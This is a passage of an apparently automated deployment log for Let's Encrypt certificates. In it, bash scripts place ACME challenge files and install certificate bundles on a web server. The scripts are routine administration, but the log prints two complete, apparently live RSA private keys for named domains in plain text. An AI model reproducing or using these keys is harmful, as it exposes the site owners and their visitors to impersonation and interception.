Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDEJcMvZoiLxRCV2AW8tD7IuqNkO6fTWJzFDirPpSV7tMCRoMD/
zlIjCFm5cSbTPHXmmbtinOSXqT3XEdMvR3yFXPoiosJdQIHYh9EbCt3PkemGwHqT
V8cbnvScQfAC6sfNyIpqlW6VqPms+g3yO4U+AWE+UlzyZhgFsn0NLDYNfFLWnEnQ
ZsEBc/wZyR+EFuwFs/ia1kNudIS6lub/vx4g7xJfPpHvFufXQ0QUShIn0WbQvnZ+
BPVPqxmSNP0v58GWDqzznsK7blDphs0xacYUhHWhRax2212wMjlKeZt57UMsB8BC
VxvDeyp0UBlxtXo9QK3j8jvh4G7AnSJWEsGPAgMBAAGjggI/MIICOzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU5imuphsI5fhNCOTUWfLU+YQsc7EwHwYDVR0jBBgwFoAUQBUtJnntMiCe
35pyHdYyH4EMgQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIyLmkubGVuY3Iub3JnLzA8BgNVHREENTAzghdzbXMuaG9wZWluc3RvdWdodG9u
Lm9yZ4IYdGV4dC5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly95cjIuYy5sZW5jci5vcmcvMTEx
LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB1ANdtfRDRp/V3wsfpX9cAv/mC
yTNaZeHQswFzF8DIxWl3AAABnvg3wTcAAAQDAEYwRAIgdDLsd8SNcuHnACh65k3r
9NRztYmsoFnKt1EqLKVDN04CIAt1vhuPew8nmP9rRn1dB7MlE06x20eHyadr2KAr
EHnAAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGe+DfEDQAI
AAAFABDWZgsEAwBHMEUCIQCFBw/vEEHeNEg9wEMGUCvTGKXDJci+YXULv4cYL8Nt
eAIgK4uzh8MaQudsGoJzdClAjQolmtnYqR/G5DJ10GzLYbowDQYJKoZIhvcNAQEL
BQADggEBADE/uQhtvH6YF1nU52ATUOUC9pWHq6Iikl4k8Z0PXAJnNeYYlVoINCgq
+FpNl4Lr1ardKBKXLIHw3uKPEseM4qRSsoPM7sbL10w3Uu48EzZzfPIzZb1hpXrj
UnrKSfkXqtO+mdGKcLNRcCvZKX04RLfOEwqOmRfCmMXNT31KHYgFAYywPNwkQBiY
MIUhFftsQEOy3rf1PXbErymj5VXFV7VQiczly6UApRpDlEDvlCW2byGN67shXuo5
VGcq0QMaSXAumH6GuwdTBgbe+iefYnZXJYA0Gx8vkGgwUqXUqNF+WYAXbdSde+W9
TmHfSPgdVSVyB+4WqbeXUYUmdNYFsng=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDEJcMvZoiLxRCV
2AW8tD7IuqNkO6fTWJzFDirPpSV7tMCRoMD/zlIjCFm5cSbTPHXmmbtinOSXqT3X
EdMvR3yFXPoiosJdQIHYh9EbCt3PkemGwHqTV8cbnvScQfAC6sfNyIpqlW6VqPms
+g3yO4U+AWE+UlzyZhgFsn0NLDYNfFLWnEnQZsEBc/wZyR+EFuwFs/ia1kNudIS6
lub/vx4g7xJfPpHvFufXQ0QUShIn0WbQvnZ+BPVPqxmSNP0v58GWDqzznsK7blDp
hs0xacYUhHWhRax2212wMjlKeZt57UMsB8BCVxvDeyp0UBlxtXo9QK3j8jvh4G7A
nSJWEsGPAgMBAAECggEAMZE/aW+WSwfiQJOmI4FDKnOrza0bpJeMimmhnPalacUM
MuD2VM6dSBgYoHm9L31kaAFqbqmqRL8yjvKEtTpx97u+xFjwGCOwjHkJ+TT+R7Ge
W3yxnSF+Afdh5kjtb7dIBbNLc1LO7sgUTEemlZPAAKLVoaurrF/rayknW9hT0oUq
D967lPFJSNfODnFXsBG+lQtvmZsvzuWRoSri+1dna9g6bcFmz7udimfi0hrlwnty
fOUfRtD0inCSh9OVIrGvFvxy0Q0+lVZK0K+hlAvByHJ4gB0JTbam2pVYZ/OC3elC
LlV2q8fhR6oRjjjvpaf4UJNa097fB8/2jlcNW1UBoQKBgQD3xhLMQK0/Q91nmWed
0KCBeGpNgJUud1ey2iaBYSKgaZ3P94dgMXoP1123G+6AuOtfSjOLUHj/ZHryKAN1
g3vu1qU1kbFa56MV89litgGWnNB/uy7BEXhkjL/v7phIrHTFXuwt34rux4xF6JNJ
tkjcjWrZti+4IkP9IiZeu5LkrwKBgQDKqOW/4RhbxGNc83TByhH8e2cyoDhjazFe
xrerWkxoxGxQR03D38heMaHnrNQrfhsGqZFWr6BELJJdJ43lpqx8Ro5/d4FREJkX
aF2M7StU7P+iO8sUEZWSiRGlbVk1ClM20ZqGRWtzAY3opTQ3GGJUVRjOzcP0JyFd
fw9tagDpIQKBgQDBLkzPtYmeLvJ76K5R7CyIZXM0VBF8Ng5JYy7sZuiRe2dQk2SY
Slsp6LenoX52HDdfh0Hi1+5O6W+2SB5STB6fm/kZaCuIfdu4rPQLs25PmJozTKTq
YQ2mD9tCXZub5eHxVM3+AjGXdDvY8bmMmjP6ycPKVPKltQmfXjXeXI7t/wKBgQC9
DocWU5T3tuPDCNM5HZtd4HlLPzCbfppWAifB0MFLU0KAOaSQQCmZxc92Y0KjOEda
FcIiDkECmFoKUSYMwUpTvTaeLwwSZduLfK8ZEv/DgDySShmPJUBVrU0q+DGqS3GJ
yEvRSt2MMj0CdWuaokLIzYIRGt/c2sxDfo8T0Tn8QQKBgQD281Wzc8xxWjTBwyya
Bcu2vuMykEPPMAEYn/bgkFMknwCwXuGr//n9AvANpMYlOIEbMrExyhgterU+YZQT
+mpH4AJtplksJ6b7Fh9mcwAQyH4SndjK9AltBm5BbyyvBDeUPk4kTOvw30yg+net
aBcz4DdFDs3PdoqiUfWtyAtEaA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-25 06:00:01: Establishing a connection
2026-06-25 06:00:03: Establishing a connection
2026-06-25 06:00:04: 

PUT: /tmp/pkp720269

#!/bin/bash
if [ -d "/var/www/hostz_pluto/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-25 06:00:04: 

chmod 755 /tmp/pkp720269; /tmp/pkp720269; rm /tmp/pkp720269

2026-06-25 06:00:05: 


1


2026-06-25 06:00:06: Establishing a connection
2026-06-25 06:00:07: 

PUT: /tmp/pkp589676

#!/bin/bash
mkdir -p "/var/www/hostz_pluto/.well-known/acme-challenge/"
cd "/var/www/hostz_pluto/.well-known/acme-challenge/"
cat > ezximvP-O6s2ZAqPPrn7LA8yOEjKd9aRKqC5Ps6b-X4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ezximvP-O6s2ZAqPPrn7LA8yOEjKd9aRKqC5Ps6b-X4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ezximvP-O6s2ZAqPPrn7LA8yOEjKd9aRKqC5Ps6b-X4


2026-06-25 06:00:08: 

chmod 755 /tmp/pkp589676; /tmp/pkp589676; rm /tmp/pkp589676

2026-06-25 06:00:08: 




2026-06-25 06:00:14: Establishing a connection
2026-06-25 06:00:15: 

PUT: /tmp/pkp967790

#!/bin/bash
mkdir -p "/var/www/hostz_pluto/.well-known/acme-challenge/"
cd "/var/www/hostz_pluto/.well-known/acme-challenge/"
rm ezximvP-O6s2ZAqPPrn7LA8yOEjKd9aRKqC5Ps6b-X4


2026-06-25 06:00:16: 

chmod 755 /tmp/pkp967790; /tmp/pkp967790; rm /tmp/pkp967790

2026-06-25 06:00:16: 




2026-06-25 06:00:16: Establishing a connection
2026-06-25 06:00:17: 

PUT: /tmp/pkp220246

#!/bin/bash
temp_file=$(mktemp)
TARGET=68fedc5efe490e129eb9aeeb5aa22807.crt

cat > $temp_file <<'endmsg'
34:b5:ae:05:ec:a3:bc:6c:f5:cd:9d:88:6c:90:02:10

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBfXmp4mw44KggmXrIuIT4NPEMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI1MDUwMTQzWhcNMjYwOTIzMDUwMTQyWjAaMRgwFgYDVQQD
Ew9wbHV0by5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCyLLzwm2RJE/wyFUUgrAe9bdsY7iaPf/IjTyzE25mHlR4D3o0t/ecn6jaDw86u
eNwkIgTWDu7AFd3tFiur0ygF/KBVAkwNBb4iSqn8WLVfcbZBC9l9jV4cYK4zF0PA
nKhlK28wBviNwGesUa8df1hghef6ixRBFyVrs/uXabF1JGFq5apZKjQ6wZb8Ag9Z
iiTM9Gbblr/mV11Nv8TcunxvRTmfyol2/oDrzmEUSxl3wpz9gW52ssh1phjdAJ+4
QXv0jocd+HpmjwP8jiquNBKU/wBCIZ1b1gys1gLCNtBi6DKsVjRB/7FpV3XjVlsB
0pnyCGKCQe0dKF64rwBndFQTAgMBAAGjggIdMIICGTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUgkha
co0kUGW7ojwl8Zmijccfq1kwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9wbHV0by5ob3N0ei5vcmcwEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9y
Zy82OS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6y
kEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ79XVlbAAAEAwBHMEUCIQCf00w4CE8aV5YL
gQlUvWrZ5WPTWW6QnGOxriVICWqyIQIgNICiMzjfuttxmrJqPQvBXSh25AsU0lLZ
3mzTKU0vSHIAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ79
XVnLAAgAAAUACrSiaAQDAEcwRQIgHMgV+XD6bL7JoG6ujCpkORWe4U+1nTTrUAau
5gTJvFgCIQDuRs3D8xDCWE1DVVmaX3I7n5Qg8682woM5yPUda5+UAjANBgkqhkiG
9w0BAQsFAAOCAQEADqRSIfG2E9M0/rT4xmBj7D3FFQza2FdSUZNIxD7sj3vtOvA8
NmltKXFX8wfr79D4JFuVsvYdB5FuPoGdKv0QDRR8GdfQ/WNJScZwae1iWJZWNjgF
1CUhfJCxgmu2jcsoKwdlJUBtryIMe1e8dK8PTUfZ1ytZUyVg/I+zG8g4WaPTosZz
sfjOf451z1FymMXdvTTpPQVYyWpACG5xRMVnxoaRqcf8IRFdBexpEydDMumAav1d
pt7EiQx/8wW8yJV6gqfJCX8pwdJ1jnPf/aed+xu9CTua9VhySRwiL+OOVOynj+6t
n0UiMD4ITzLbwLF9LkKqNicnDKqLVCOwR9ar0g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCyLLzwm2RJE/wy
FUUgrAe9bdsY7iaPf/IjTyzE25mHlR4D3o0t/ecn6jaDw86ueNwkIgTWDu7AFd3t
Fiur0ygF/KBVAkwNBb4iSqn8WLVfcbZBC9l9jV4cYK4zF0PAnKhlK28wBviNwGes
Ua8df1hghef6ixRBFyVrs/uXabF1JGFq5apZKjQ6wZb8Ag9ZiiTM9Gbblr/mV11N
v8TcunxvRTmfyol2/oDrzmEUSxl3wpz9gW52ssh1phjdAJ+4QXv0jocd+HpmjwP8
jiquNBKU/wBCIZ1b1gys1gLCNtBi6DKsVjRB/7FpV3XjVlsB0pnyCGKCQe0dKF64
rwBndFQTAgMBAAECggEAAyRR7ID7gXIS9RFXvaPvKg8NajNdTRPQbZvB8QAZmWyk
tSSaEkAMi9mq2W2AbJjuGr7MnYGZvvoRNdmsGkL1gwHvf9mEzzfEXUNVNoFmRBtO
ndXPho59fG6r5+0Z9zMlQwn5OGgkHVK9ibDpr5TebFPWDu9p6Hec8TxkVlaUL6W6
pX7Mm7aJCrmKBF0h+9i/Hfrz0a0BXPsJlIk+X65RVOetzoPjxOBCzUhdzNHG+4it
q/IrsYDt7POxJjPY4dZilxMLr6acATQ2EdgHQrOueLiIHtiqpzodU8ejYP7ytOWi
eROGGkKSqnPaxKPwmuEr8ICwQlK9LDfdjJDina3uFQKBgQDzTr9RMNYY6HqKaVFc
XAjVu4WsqHP9JyGtOkhJ7l8e8fJcu+tY60Rg03DOssq0U9FOEU9mF08XQ09fSHsu
wEjKrXrx7789PxTY20gbzZsZX6n0X5jUKUBzM6DGruYVEiPr3NALmNpeeXhJT7Yw
H3upb2rhlLC292whplyQDvZA3wKBgQC7eCx7MWQC4pLCxTu5b7SRwNkwMziovTJ/
TWLjIy6EOTdIk0J0XW9D2t/OeeplGEP7iLdHyBsMt04+dl3IRTFzzDJc3wp5wfTO
VJ17gq45Y4kgeOw9/aDxeA+12hpMUn4OBqRkOiqymS13ldFuJLjqCq5bWsnCDUc2
KVD1bGJPTQKBgQCK39TFo+lgODnRjQGahRGp5SoMfe4Ofepz9MNUJ5H1mMXsdnqD
u23BEo7d/CFFQl5CgBDgxccoEQxZ54YgDjK+NLzrIRv3+myMxsTm0bmIhxj72iDi
YFVgLATFwwii2ELWmqfJJsrlh9HHjo7/8shj0quf7H3dQWZf4pQMye124wKBgQCh
uY1eBYDKwF1taysX0RcMOjrjSvzRDM64ZbEuU5Z4eMeJc4h7zHMFLZevjxs3dVSI
dSvv39/9+1CjsAc9kvuTcw/rcHqgCUPAj9x/xX+5gHW2rrrWy6uBRFsBPZM8Tlny
jaZZ1JgrFNvVc0iF5WYkeWxq4Qp2vm+1eLUf1A2HbQKBgQCekaa12B785lgCeV7r
U68eQ3UpuySxvs0BSin4GdUCptiiEW4tuXf4j6bLHsv8Z5I83k8TeLqmc1acdivz
n7Mhms2muZBKwjC/4irP/xtV+6s+giwtcKe+epS+H/yxXLP37GksCb1TDMYcbQlS
w+6S9GmMj1fo1puzK8cGZ2uIXg==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-25 06:00:18: 

